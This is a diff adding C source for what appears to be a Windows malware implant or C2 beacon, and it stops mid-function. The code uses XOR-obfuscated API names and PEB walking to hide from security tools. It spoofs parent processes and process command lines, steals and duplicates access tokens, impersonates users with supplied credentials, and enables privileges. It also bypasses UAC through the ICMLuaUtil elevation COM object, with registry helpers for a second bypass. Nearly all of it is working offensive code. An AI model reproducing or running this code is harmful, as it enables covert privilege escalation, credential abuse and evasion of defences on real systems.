LPPROC_THREAD_ATTRIBUTE_LIST attr_list = NULL;
|
||||
|
||||
if (ppid) {
|
||||
InitializeProcThreadAttributeList(NULL, 1, 0, &attr_sz);
|
||||
attr_list = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(attr_sz);
|
||||
if (attr_list) {
|
||||
InitializeProcThreadAttributeList(attr_list, 1, 0, &attr_sz);
|
||||
HANDLE hParent = inject_nt_open_process(ppid, PROCESS_CREATE_PROCESS);
|
||||
if (hParent) {
|
||||
UpdateProcThreadAttribute(attr_list, 0,
|
||||
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
|
||||
&hParent, sizeof(hParent), NULL, NULL);
|
||||
/* hParent closed after CreateProcess */
|
||||
}
|
||||
si.lpAttributeList = attr_list;
|
||||
}
|
||||
}
|
||||
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
BOOL ok = CreateProcessA(
|
||||
exe_path,
|
||||
fake_full,
|
||||
NULL, NULL, FALSE,
|
||||
CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,
|
||||
NULL, NULL,
|
||||
&si.StartupInfo, &pi);
|
||||
|
||||
if (attr_list) {
|
||||
DeleteProcThreadAttributeList(attr_list);
|
||||
free(attr_list);
|
||||
}
|
||||
|
||||
if (!ok) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[spawn] CreateProcess failed: %lu\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* if no real cmdline, just resume and return */
|
||||
if (!real_cmdline || !real_cmdline[0]) {
|
||||
_rt(pi.hThread);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
snprintf(output_buf, output_size,
|
||||
"[spawn] pid=%lu fake_cmdline=%s\n",
|
||||
(unsigned long)pi.dwProcessId, fake_full);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* find CommandLine.Buffer in target PEB */
|
||||
char _sqn[28], _sn[12]; volatile unsigned char _xk = EVS_KEY;
|
||||
for (int _i = 0; _i < (int)sizeof(EVS_fn_NtQueryInformationProcess); _i++) _sqn[_i] = (char)(EVS_fn_NtQueryInformationProcess[_i] ^ _xk);
|
||||
_sqn[sizeof(EVS_fn_NtQueryInformationProcess)] = '\0';
|
||||
for (int _i = 0; _i < (int)sizeof(EVS_dll_ntdll); _i++) _sn[_i] = (char)(EVS_dll_ntdll[_i] ^ _xk);
|
||||
_sn[sizeof(EVS_dll_ntdll)] = '\0';
|
||||
NtQIP_t pfnQIP = (NtQIP_t)(void *)GetProcAddress(_peb_module(_sn), _sqn);
|
||||
SecureZeroMemory(_sqn, sizeof(_sqn)); SecureZeroMemory(_sn, sizeof(_sn));
|
||||
|
||||
if (!pfnQIP) goto resume;
|
||||
|
||||
PBI pbi = {0};
|
||||
NTSTATUS st = pfnQIP(pi.hProcess, 0 /* ProcessBasicInformation */,
|
||||
&pbi, sizeof(pbi), NULL);
|
||||
if (st) goto resume;
|
||||
|
||||
/* read ProcessParameters pointer from PEB */
|
||||
PVOID params_ptr = NULL;
|
||||
{ NtRVM_t _r = _get_nrvm();
|
||||
if (!_r || _r(pi.hProcess, (BYTE *)pbi.PebBaseAddress + PEB_PARAMS_OFF,
|
||||
¶ms_ptr, sizeof(PVOID), NULL) || !params_ptr)
|
||||
goto resume; }
|
||||
|
||||
/* read CommandLine UNICODE_STRING fields */
|
||||
USHORT cl_len = 0, cl_maxlen = 0;
|
||||
PWSTR cl_buf = NULL;
|
||||
{ NtRVM_t _r = _get_nrvm();
|
||||
if (_r) {
|
||||
_r(pi.hProcess, (BYTE *)params_ptr + PP_CMDLINE_OFF,
|
||||
&cl_len, sizeof(USHORT), NULL);
|
||||
_r(pi.hProcess, (BYTE *)params_ptr + PP_CMDLINE_OFF + 2,
|
||||
&cl_maxlen, sizeof(USHORT), NULL);
|
||||
_r(pi.hProcess, (BYTE *)params_ptr + PP_CMDLINE_OFF + 8,
|
||||
&cl_buf, sizeof(PWSTR), NULL);
|
||||
}
|
||||
}
|
||||
|
||||
if (!cl_buf || cl_maxlen == 0) goto resume;
|
||||
|
||||
/* convert real cmdline to UTF-16 */
|
||||
WCHAR real_wide[2048] = {0};
|
||||
int real_wchars = MultiByteToWideChar(CP_ACP, 0, real_cmdline, -1,
|
||||
real_wide, 2048);
|
||||
if (real_wchars <= 0) goto resume;
|
||||
|
||||
USHORT real_bytes = (USHORT)((real_wchars - 1) * 2);
|
||||
|
||||
if (real_bytes > cl_maxlen) {
|
||||
/* Real too long — skip overwrite, just resume with fake */
|
||||
goto resume;
|
||||
}
|
||||
|
||||
/* Overwrite the CommandLine buffer in target */
|
||||
{ NtWVM_t _w = _get_nwvm();
|
||||
if (_w) {
|
||||
_w(pi.hProcess, cl_buf, real_wide, real_bytes + 2, NULL);
|
||||
_w(pi.hProcess, (BYTE *)params_ptr + PP_CMDLINE_OFF,
|
||||
&real_bytes, sizeof(USHORT), NULL);
|
||||
}
|
||||
}
|
||||
|
||||
resume:
|
||||
_rt(pi.hThread);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
|
||||
snprintf(output_buf, output_size,
|
||||
"[spawn] pid=%lu\n"
|
||||
" visible: %s\n"
|
||||
" actual: %s\n",
|
||||
(unsigned long)pi.dwProcessId,
|
||||
fake_full,
|
||||
real_cmdline ? real_cmdline : "(same as visible)");
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,299 @@
|
||||
#include "commands.h"
|
||||
#include "inject.h"
|
||||
#include "adv_lazy.h"
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
/* one active impersonation token at a time */
|
||||
static volatile HANDLE s_imp_token = NULL;
|
||||
|
||||
static void _token_info(HANDLE htok, char *out, size_t outsz)
|
||||
{
|
||||
/* get username */
|
||||
DWORD needed = 0;
|
||||
GetTokenInformation(htok, TokenUser, NULL, 0, &needed);
|
||||
TOKEN_USER *tu = needed ? (TOKEN_USER *)malloc(needed) : NULL;
|
||||
char uname[256] = "?", domain[256] = "?";
|
||||
if (tu && GetTokenInformation(htok, TokenUser, tu, needed, &needed)) {
|
||||
DWORD nlen = 256, dlen = 256;
|
||||
SID_NAME_USE use;
|
||||
LookupAccountSidA(NULL, tu->User.Sid, uname, &nlen, domain, &dlen, &use);
|
||||
}
|
||||
free(tu);
|
||||
|
||||
/* get integrity level */
|
||||
needed = 0;
|
||||
GetTokenInformation(htok, TokenIntegrityLevel, NULL, 0, &needed);
|
||||
TOKEN_MANDATORY_LABEL *tml = needed ? (TOKEN_MANDATORY_LABEL *)malloc(needed) : NULL;
|
||||
const char *integ = "?";
|
||||
if (tml && GetTokenInformation(htok, TokenIntegrityLevel, tml, needed, &needed)) {
|
||||
DWORD rid = *GetSidSubAuthority(tml->Label.Sid,
|
||||
(DWORD)(*GetSidSubAuthorityCount(tml->Label.Sid) - 1));
|
||||
if (rid >= SECURITY_MANDATORY_SYSTEM_RID) integ = "SYSTEM";
|
||||
else if (rid >= SECURITY_MANDATORY_HIGH_RID) integ = "HIGH";
|
||||
else if (rid >= SECURITY_MANDATORY_MEDIUM_RID) integ = "MEDIUM";
|
||||
else if (rid >= SECURITY_MANDATORY_LOW_RID) integ = "LOW";
|
||||
else integ = "UNTRUSTED";
|
||||
}
|
||||
free(tml);
|
||||
|
||||
/* check impersonation type */
|
||||
TOKEN_TYPE ttype = TokenPrimary;
|
||||
DWORD ttsz = sizeof(ttype);
|
||||
GetTokenInformation(htok, TokenType, &ttype, ttsz, &ttsz);
|
||||
const char *imp = "";
|
||||
if (ttype == TokenImpersonation) {
|
||||
SECURITY_IMPERSONATION_LEVEL lvl = SecurityAnonymous;
|
||||
DWORD lsz = sizeof(lvl);
|
||||
GetTokenInformation(htok, TokenImpersonationLevel, &lvl, lsz, &lsz);
|
||||
imp = (lvl == SecurityDelegation) ? " [delegation]"
|
||||
: (lvl == SecurityImpersonation) ? " [impersonation]"
|
||||
: " [anonymous/identify]";
|
||||
}
|
||||
|
||||
snprintf(out, outsz, "%s\\%s [%s]%s\n", domain, uname, integ, imp);
|
||||
}
|
||||
|
||||
int cmd_getuid(char *output_buf, size_t output_size)
|
||||
{
|
||||
if (!output_buf || output_size < 64) return -1;
|
||||
output_buf[0] = '\0';
|
||||
|
||||
/* try thread token first, fall back to process token */
|
||||
HANDLE htok = NULL;
|
||||
{ const adv_api_t *_a = adv_get();
|
||||
if (!_a->OpenThreadToken || !_a->OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, TRUE, &htok) || !htok)
|
||||
if (_a->OpenProcessToken) _a->OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htok); }
|
||||
|
||||
if (!htok) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[getuid] OpenToken failed: %lu\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
_token_info(htok, output_buf, output_size);
|
||||
CloseHandle(htok);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int cmd_steal_token(unsigned long pid, char *output_buf, size_t output_size)
|
||||
{
|
||||
if (!output_buf || output_size < 64) return -1;
|
||||
output_buf[0] = '\0';
|
||||
|
||||
HANDLE hproc = inject_nt_open_process((DWORD)pid, PROCESS_QUERY_INFORMATION);
|
||||
if (!hproc) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[st] open(%lu) failed\n", pid);
|
||||
return -1;
|
||||
}
|
||||
|
||||
HANDLE hptok = NULL;
|
||||
{ const adv_api_t *_a = adv_get();
|
||||
if (!_a->OpenProcessToken || !_a->OpenProcessToken(hproc,
|
||||
TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY,
|
||||
&hptok)) {
|
||||
CloseHandle(hproc);
|
||||
snprintf(output_buf, output_size,
|
||||
"[st] OpenProcessToken failed: %lu\n", GetLastError());
|
||||
return -1;
|
||||
} }
|
||||
CloseHandle(hproc);
|
||||
|
||||
HANDLE hdup = NULL;
|
||||
{ const adv_api_t *_a = adv_get();
|
||||
if (!_a->DuplicateTokenEx || !_a->DuplicateTokenEx(hptok, TOKEN_ALL_ACCESS, NULL,
|
||||
SecurityImpersonation, TokenImpersonation, &hdup)) {
|
||||
CloseHandle(hptok);
|
||||
snprintf(output_buf, output_size,
|
||||
"[st] DuplicateTokenEx failed: %lu\n", GetLastError());
|
||||
return -1;
|
||||
} }
|
||||
CloseHandle(hptok);
|
||||
|
||||
{ const adv_api_t *_a = adv_get();
|
||||
if (!_a->ImpersonateLoggedOnUser || !_a->ImpersonateLoggedOnUser(hdup)) {
|
||||
CloseHandle(hdup);
|
||||
snprintf(output_buf, output_size,
|
||||
"[st] ImpersonateLoggedOnUser failed: %lu\n",
|
||||
GetLastError());
|
||||
return -1;
|
||||
} }
|
||||
|
||||
/* Atomically swap stored token, close old one if any */
|
||||
HANDLE old = (HANDLE)InterlockedExchangePointer(
|
||||
(volatile PVOID *)&s_imp_token, hdup);
|
||||
if (old) CloseHandle(old);
|
||||
|
||||
char info[256] = {0};
|
||||
_token_info(hdup, info, sizeof(info));
|
||||
snprintf(output_buf, output_size,
|
||||
"[st] pid=%lu -> %s", pid, info);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int cmd_rev2self(char *output_buf, size_t output_size)
|
||||
{
|
||||
if (!output_buf || output_size < 64) return -1;
|
||||
output_buf[0] = '\0';
|
||||
|
||||
{ const adv_api_t *_a = adv_get(); if (_a->RevertToSelf) _a->RevertToSelf(); }
|
||||
HANDLE old = (HANDLE)InterlockedExchangePointer(
|
||||
(volatile PVOID *)&s_imp_token, NULL);
|
||||
if (old) CloseHandle(old);
|
||||
|
||||
snprintf(output_buf, output_size, "[r2s] reverted\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int cmd_make_token(const char *domain_user, const char *password,
|
||||
char *output_buf, size_t output_size)
|
||||
{
|
||||
if (!output_buf || output_size < 64) return -1;
|
||||
output_buf[0] = '\0';
|
||||
|
||||
/* Split "DOMAIN\user" → domain + user; bare "user" defaults domain to "." */
|
||||
char domain[256] = ".";
|
||||
char user[256] = {0};
|
||||
const char *bs = strchr(domain_user, '\\');
|
||||
if (bs) {
|
||||
size_t dlen = (size_t)(bs - domain_user);
|
||||
if (dlen >= sizeof(domain)) dlen = sizeof(domain) - 1;
|
||||
memcpy(domain, domain_user, dlen);
|
||||
domain[dlen] = '\0';
|
||||
strncpy(user, bs + 1, sizeof(user) - 1);
|
||||
} else {
|
||||
strncpy(user, domain_user, sizeof(user) - 1);
|
||||
}
|
||||
|
||||
HANDLE htok = NULL;
|
||||
/*
|
||||
* LOGON32_LOGON_NEW_CREDENTIALS: local identity stays current user;
|
||||
* network auth uses provided creds. Equivalent to runas /netonly.
|
||||
* Does not require SeDebugPrivilege.
|
||||
*/
|
||||
{ const adv_api_t *_a = adv_get();
|
||||
if (!_a->LogonUserA || !_a->LogonUserA(user, domain, password,
|
||||
LOGON32_LOGON_NEW_CREDENTIALS,
|
||||
LOGON32_PROVIDER_WINNT50,
|
||||
&htok)) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[mt] LogonUser failed: %lu\n", GetLastError());
|
||||
return -1;
|
||||
} }
|
||||
|
||||
{ const adv_api_t *_a = adv_get();
|
||||
if (!_a->ImpersonateLoggedOnUser || !_a->ImpersonateLoggedOnUser(htok)) {
|
||||
CloseHandle(htok);
|
||||
snprintf(output_buf, output_size,
|
||||
"[mt] ImpersonateLoggedOnUser failed: %lu\n",
|
||||
GetLastError());
|
||||
return -1;
|
||||
} }
|
||||
|
||||
HANDLE old = (HANDLE)InterlockedExchangePointer(
|
||||
(volatile PVOID *)&s_imp_token, htok);
|
||||
if (old) CloseHandle(old);
|
||||
|
||||
snprintf(output_buf, output_size,
|
||||
"[mt] %s\\%s (network creds set)\n", domain, user);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ---- cmd_privs ---- */
|
||||
|
||||
int cmd_privs(const char *action, const char *priv_name,
|
||||
char *output_buf, size_t output_size)
|
||||
{
|
||||
const adv_api_t *adv = adv_get();
|
||||
HANDLE hTok;
|
||||
if (!adv->OpenProcessToken ||
|
||||
!adv->OpenProcessToken(GetCurrentProcess(),
|
||||
TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hTok)) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[privs] OpenProcessToken failed: %lu\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Default action = list */
|
||||
if (!action || !action[0] || strcmp(action, "list") == 0) {
|
||||
DWORD needed = 0;
|
||||
GetTokenInformation(hTok, TokenPrivileges, NULL, 0, &needed);
|
||||
TOKEN_PRIVILEGES *tp = (TOKEN_PRIVILEGES *)malloc(needed);
|
||||
if (!tp) { CloseHandle(hTok); return -1; }
|
||||
GetTokenInformation(hTok, TokenPrivileges, tp, needed, &needed);
|
||||
|
||||
size_t pos = 0;
|
||||
int n = snprintf(output_buf + pos, output_size - pos,
|
||||
"%-48s %s\n", "Privilege", "State");
|
||||
if (n > 0) pos += (size_t)n;
|
||||
|
||||
for (DWORD i = 0; i < tp->PrivilegeCount; i++) {
|
||||
char name[64] = {0};
|
||||
DWORD nsz = sizeof(name);
|
||||
if (adv->LookupPrivilegeNameA)
|
||||
adv->LookupPrivilegeNameA(NULL, &tp->Privileges[i].Luid, name, &nsz);
|
||||
|
||||
DWORD attr = tp->Privileges[i].Attributes;
|
||||
const char *state =
|
||||
(attr & SE_PRIVILEGE_ENABLED) ? "Enabled" :
|
||||
(attr & SE_PRIVILEGE_ENABLED_BY_DEFAULT) ? "Default" :
|
||||
"Disabled";
|
||||
|
||||
n = snprintf(output_buf + pos, output_size - pos,
|
||||
" %-46s %s\n", name, state);
|
||||
if (n > 0 && (size_t)n < output_size - pos) pos += (size_t)n;
|
||||
}
|
||||
free(tp);
|
||||
CloseHandle(hTok);
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (strcmp(action, "enable") == 0 || strcmp(action, "disable") == 0) {
|
||||
if (!priv_name || !priv_name[0]) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[privs] usage: privs enable|disable <SeXxxPrivilege>\n");
|
||||
CloseHandle(hTok);
|
||||
return -1;
|
||||
}
|
||||
LUID luid;
|
||||
if (!adv->LookupPrivilegeValueA ||
|
||||
!adv->LookupPrivilegeValueA(NULL, priv_name, &luid)) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[privs] unknown privilege: %s\n", priv_name);
|
||||
CloseHandle(hTok);
|
||||
return -1;
|
||||
}
|
||||
TOKEN_PRIVILEGES tp;
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
tp.Privileges[0].Attributes =
|
||||
(strcmp(action, "enable") == 0) ? SE_PRIVILEGE_ENABLED : 0;
|
||||
|
||||
if (adv->AdjustTokenPrivileges)
|
||||
adv->AdjustTokenPrivileges(hTok, FALSE, &tp, 0, NULL, NULL);
|
||||
DWORD err = GetLastError();
|
||||
CloseHandle(hTok);
|
||||
|
||||
if (err == ERROR_SUCCESS) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[privs] %s: %s\n", action, priv_name);
|
||||
return 0;
|
||||
}
|
||||
if (err == ERROR_NOT_ALL_ASSIGNED) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[privs] %s: %s (not held by token - steal SYSTEM token first)\n",
|
||||
action, priv_name);
|
||||
return -1;
|
||||
}
|
||||
snprintf(output_buf, output_size,
|
||||
"[privs] failed: %lu\n", err);
|
||||
return -1;
|
||||
}
|
||||
|
||||
CloseHandle(hTok);
|
||||
snprintf(output_buf, output_size,
|
||||
"[privs] usage: privs [list | enable <name> | disable <name>]\n");
|
||||
return -1;
|
||||
}
|
||||
@@ -0,0 +1,849 @@
|
||||
#include "commands.h"
|
||||
#include "beacon.h"
|
||||
#include "evasion.h"
|
||||
#include "adv_lazy.h"
|
||||
#include "evs_strings.h"
|
||||
#include "peb_walk.h"
|
||||
#include <windows.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <objbase.h>
|
||||
#include <shellapi.h>
|
||||
#include <shlobj.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#define IL_UNTRUSTED 0
|
||||
#define IL_LOW 1
|
||||
#define IL_MEDIUM 2
|
||||
#define IL_HIGH 3
|
||||
#define IL_SYSTEM 4
|
||||
|
||||
static int get_integrity_level(void)
|
||||
{
|
||||
HANDLE hTok = NULL;
|
||||
{ const adv_api_t *_a = adv_get();
|
||||
if (!_a->OpenProcessToken || !_a->OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hTok)) return -1; }
|
||||
|
||||
DWORD sz = 0;
|
||||
GetTokenInformation(hTok, TokenIntegrityLevel, NULL, 0, &sz);
|
||||
TOKEN_MANDATORY_LABEL *tml = (TOKEN_MANDATORY_LABEL *)malloc(sz);
|
||||
if (!tml) { CloseHandle(hTok); return -1; }
|
||||
|
||||
int il = -1;
|
||||
if (GetTokenInformation(hTok, TokenIntegrityLevel, tml, sz, &sz)) {
|
||||
DWORD rid = *GetSidSubAuthority(tml->Label.Sid,
|
||||
*GetSidSubAuthorityCount(tml->Label.Sid) - 1);
|
||||
if (rid < 0x1000) il = IL_UNTRUSTED;
|
||||
else if (rid < 0x2000) il = IL_LOW;
|
||||
else if (rid < 0x3000) il = IL_MEDIUM;
|
||||
else if (rid < 0x4000) il = IL_HIGH;
|
||||
else il = IL_SYSTEM;
|
||||
}
|
||||
free(tml);
|
||||
CloseHandle(hTok);
|
||||
return il;
|
||||
}
|
||||
|
||||
static int is_admin_group(void)
|
||||
{
|
||||
BOOL admin = FALSE;
|
||||
SID_IDENTIFIER_AUTHORITY nt = SECURITY_NT_AUTHORITY;
|
||||
PSID admin_sid = NULL;
|
||||
if (AllocateAndInitializeSid(&nt, 2,
|
||||
SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
|
||||
0,0,0,0,0,0, &admin_sid)) {
|
||||
CheckTokenMembership(NULL, admin_sid, &admin);
|
||||
FreeSid(admin_sid);
|
||||
}
|
||||
return (int)admin;
|
||||
}
|
||||
|
||||
static WCHAR *to_wide(const char *s)
|
||||
{
|
||||
int n = MultiByteToWideChar(CP_UTF8, 0, s, -1, NULL, 0);
|
||||
if (n <= 0) return NULL;
|
||||
WCHAR *w = (WCHAR *)malloc((size_t)n * sizeof(WCHAR));
|
||||
if (w) MultiByteToWideChar(CP_UTF8, 0, s, -1, w, n);
|
||||
return w;
|
||||
}
|
||||
|
||||
static void split_cmdline(const char *cmdline, char *exe_buf, size_t exe_sz,
|
||||
char *args_buf, size_t args_sz)
|
||||
{
|
||||
exe_buf[0] = args_buf[0] = '\0';
|
||||
if (!cmdline || !*cmdline) return;
|
||||
|
||||
if (cmdline[0] == '"') {
|
||||
const char *end = strchr(cmdline + 1, '"');
|
||||
if (end) {
|
||||
size_t n = (size_t)(end - cmdline - 1);
|
||||
if (n >= exe_sz) n = exe_sz - 1;
|
||||
memcpy(exe_buf, cmdline + 1, n);
|
||||
exe_buf[n] = '\0';
|
||||
const char *rest = end + 1;
|
||||
while (*rest == ' ') rest++;
|
||||
strncpy(args_buf, rest, args_sz - 1);
|
||||
args_buf[args_sz - 1] = '\0';
|
||||
return;
|
||||
}
|
||||
}
|
||||
const char *sp = strchr(cmdline, ' ');
|
||||
if (!sp) {
|
||||
strncpy(exe_buf, cmdline, exe_sz - 1);
|
||||
exe_buf[exe_sz - 1] = '\0';
|
||||
} else {
|
||||
size_t n = (size_t)(sp - cmdline);
|
||||
if (n >= exe_sz) n = exe_sz - 1;
|
||||
memcpy(exe_buf, cmdline, n);
|
||||
exe_buf[n] = '\0';
|
||||
const char *rest = sp + 1;
|
||||
while (*rest == ' ') rest++;
|
||||
strncpy(args_buf, rest, args_sz - 1);
|
||||
args_buf[args_sz - 1] = '\0';
|
||||
}
|
||||
}
|
||||
|
||||
static const IID _iid_ICMLuaUtil =
|
||||
{0x6EDD6D74, 0xC007, 0x4E75, {0xB7, 0x6A, 0xE5, 0x74, 0x09, 0x95, 0xE2, 0x4C}};
|
||||
|
||||
typedef HRESULT (STDMETHODCALLTYPE *ICMLuaUtil_ShellExec_t)(
|
||||
void *pThis,
|
||||
LPCWSTR pwszFile,
|
||||
LPCWSTR pwszParameters,
|
||||
LPCWSTR pwszDirectory,
|
||||
ULONG nShowCmd,
|
||||
ULONG dwFlags
|
||||
);
|
||||
|
||||
static int bypass_com(const char *cmdline, char *out, size_t outsz)
|
||||
{
|
||||
if (!cmdline || !*cmdline)
|
||||
return snprintf(out, outsz, "e:0\n"), -1;
|
||||
|
||||
WCHAR *exe_w = to_wide(cmdline);
|
||||
WCHAR *args_w = NULL;
|
||||
if (!exe_w) return snprintf(out, outsz, "e:w\n"), -1;
|
||||
|
||||
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
|
||||
BOOL com_init = SUCCEEDED(hr) || hr == RPC_E_CHANGED_MODE;
|
||||
|
||||
WCHAR moniker[80];
|
||||
{ volatile unsigned char _k = EVS_KEY;
|
||||
for (int _i = 0; _i < (int)sizeof(EVS_str_elevation_moniker); _i++)
|
||||
moniker[_i] = (WCHAR)(EVS_str_elevation_moniker[_i] ^ _k);
|
||||
moniker[sizeof(EVS_str_elevation_moniker)] = L'\0'; }
|
||||
|
||||
BIND_OPTS3 bo;
|
||||
memset(&bo, 0, sizeof(bo));
|
||||
bo.cbStruct = sizeof(BIND_OPTS3);
|
||||
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
|
||||
|
||||
void *pObj = NULL;
|
||||
hr = CoGetObject(moniker, (BIND_OPTS *)&bo, &_iid_ICMLuaUtil, &pObj);
|
||||
if (FAILED(hr) || !pObj) {
|
||||
free(exe_w); free(args_w);
|
||||
if (com_init) CoUninitialize();
|
||||
return snprintf(out, outsz, "e:cg %08lx\n", hr), -1;
|
||||
}
|
||||
|
||||
ICMLuaUtil_ShellExec_t fn_ShellExec =
|
||||
(ICMLuaUtil_ShellExec_t)(*(void***)pObj)[9];
|
||||
|
||||
hr = fn_ShellExec(pObj, exe_w, L"", NULL, 1 /*SW_SHOWNORMAL*/, 0);
|
||||
|
||||
((IUnknown *)pObj)->lpVtbl->Release((IUnknown *)pObj);
|
||||
free(exe_w);
|
||||
if (com_init) CoUninitialize();
|
||||
|
||||
if (FAILED(hr))
|
||||
return snprintf(out, outsz, "e:se %08lx\n", hr), -1;
|
||||
|
||||
return snprintf(out, outsz, "ok\n");
|
||||
}
|
||||
|
||||
static int count_proc(const char *exename)
|
||||
{
|
||||
DWORD self = GetCurrentProcessId();
|
||||
int n = 0;
|
||||
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (snap == INVALID_HANDLE_VALUE) return 0;
|
||||
PROCESSENTRY32 pe = { sizeof(pe) };
|
||||
if (Process32First(snap, &pe)) {
|
||||
do {
|
||||
if (_stricmp(pe.szExeFile, exename) == 0 && pe.th32ProcessID != self)
|
||||
n++;
|
||||
} while (Process32Next(snap, &pe));
|
||||
}
|
||||
CloseHandle(snap);
|
||||
return n;
|
||||
}
|
||||
|
||||
static int reg_set_sz(HKEY root, const char *subkey, const char *valname, const char *data)
|
||||
{
|
||||
HKEY hk;
|
||||
if (RegCreateKeyExA(root, subkey, 0, NULL, 0, KEY_SET_VALUE, NULL, &hk, NULL)
|
||||
!= ERROR_SUCCESS) return -1;
|
||||
int rc = RegSetValueExA(hk, valname, 0, REG_SZ,
|
||||
(const BYTE *)data, (DWORD)(strlen(data) + 1));
|
||||
RegCloseKey(hk);
|
||||
return rc == ERROR_SUCCESS ? 0 : -1;
|
||||
}
|
||||
|
||||
static void reg_del_tree(HKEY root, const char *subkey)
|
||||
{
|
||||
typedef LONG (WINAPI *RegDelTree_t)(HKEY, LPCSTR);
|
||||
static RegDelTree_t fn = NULL;
|
||||
if (!fn) {
|
||||
char fs[16], ms[14]; volatile unsigned char _k = EVS_KEY;
|
||||
for (int i = 0; i < (int)sizeof(EVS_fn_RegDeleteTreeA); i++) fs[i] = (char)(EVS_fn_RegDeleteTreeA[i] ^ _k);
|
||||
fs[sizeof(EVS_fn_RegDeleteTreeA)] = '\0';
|
||||
for (int i = 0; i < (int)sizeof(EVS_dll_advapi32); i++) ms[i] = (char)(EVS_dll_advapi32[i] ^ _k);
|
||||
ms[sizeof(EVS_dll_advapi32)] = '\0';
|
||||
HMODULE m = _peb_module(ms);
|
||||
SecureZeroMemory(ms, sizeof(ms));
|
||||
if (m) fn = (RegDelTree_t)(void *)GetProcAddress(m, fs);
|
||||
SecureZeroMemory(fs, sizeof(fs));
|
||||
}
|
||||
if (fn) fn(root, subkey);
|
||||
}
|
||||
|
||||
static void shell_exec_wait(const char *exe, int wait_ms)
|
||||
{
|
||||
typedef BOOL (WINAPI *fnSEE)(SHELLEXECUTEINFOW *);
|
||||
static fnSEE pSEE = NULL;
|
||||
if (!pSEE) {
|
||||
char _sh[16], _dl[12];
|
||||
EVS_D(_sh, EVS_fn_ShellExecuteExW);
|
||||
EVS_D(_dl, EVS_dll_shell32);
|
||||
HMODULE h = _peb_module(_dl);
|
||||
if (!h) h = LoadLibraryA(_dl);
|
||||
SecureZeroMemory(_dl, sizeof(_dl));
|
||||
if (h) pSEE = (fnSEE)(void*)GetProcAddress(h, _sh);
|
||||
SecureZeroMemory(_sh, sizeof(_sh));
|
||||
}
|
||||
if (!pSEE) return;
|
||||
WCHAR *w = to_wide(exe);
|
||||
if (!w) return;
|
||||
SHELLEXECUTEINFOW sei = {0};
|
||||
sei.cbSize = sizeof(sei);
|
||||
sei.fMask = 0;
|
||||
sei.lpVerb = L"open";
|
||||
sei.lpFile = w;
|
||||
sei.nShow = SW_HIDE;
|
||||
pSEE(&sei);
|
||||
free(w);
|
||||
Sleep((DWORD)wait_ms);
|
||||
}
|
||||
|
||||
static void make_safe_cmd(const char *cmdline, char *out, size_t outsz)
|
||||
{
|
||||
/* Strip existing outer quotes to get a bare path, then re-wrap for start */
|
||||
char bare[2048 + MAX_PATH] = {0};
|
||||
if (cmdline[0] == '"') {
|
||||
const char *end = strrchr(cmdline, '"');
|
||||
if (end && end != cmdline) {
|
||||
size_t n = (size_t)(end - cmdline - 1);
|
||||
if (n >= sizeof(bare)) n = sizeof(bare) - 1;
|
||||
memcpy(bare, cmdline + 1, n);
|
||||
bare[n] = '\0';
|
||||
} else {
|
||||
strncpy(bare, cmdline, sizeof(bare) - 1);
|
||||
}
|
||||
} else {
|
||||
strncpy(bare, cmdline, sizeof(bare) - 1);
|
||||
}
|
||||
bare[sizeof(bare) - 1] = '\0';
|
||||
snprintf(out, outsz, "cmd /c start \"\" \"%s\"", bare);
|
||||
}
|
||||
|
||||
static int bypass_lifter(const char *agent_path, char *out, size_t outsz)
|
||||
{
|
||||
char self[MAX_PATH] = {0};
|
||||
GetModuleFileNameA(NULL, self, sizeof(self) - 1);
|
||||
char lifter_path[MAX_PATH] = {0};
|
||||
strncpy(lifter_path, self, sizeof(lifter_path) - 1);
|
||||
char *last = strrchr(lifter_path, '\\');
|
||||
if (!last)
|
||||
return snprintf(out, outsz, "e:ps\n"), -1;
|
||||
char _lfn[11];
|
||||
EVS_D(_lfn, EVS_str_lifter_exe);
|
||||
snprintf(last + 1, (size_t)(lifter_path + sizeof(lifter_path) - last - 1), "%s", _lfn);
|
||||
SecureZeroMemory(_lfn, sizeof(_lfn));
|
||||
|
||||
if (GetFileAttributesA(lifter_path) == INVALID_FILE_ATTRIBUTES)
|
||||
return snprintf(out, outsz, "e:nf\n"), -1;
|
||||
|
||||
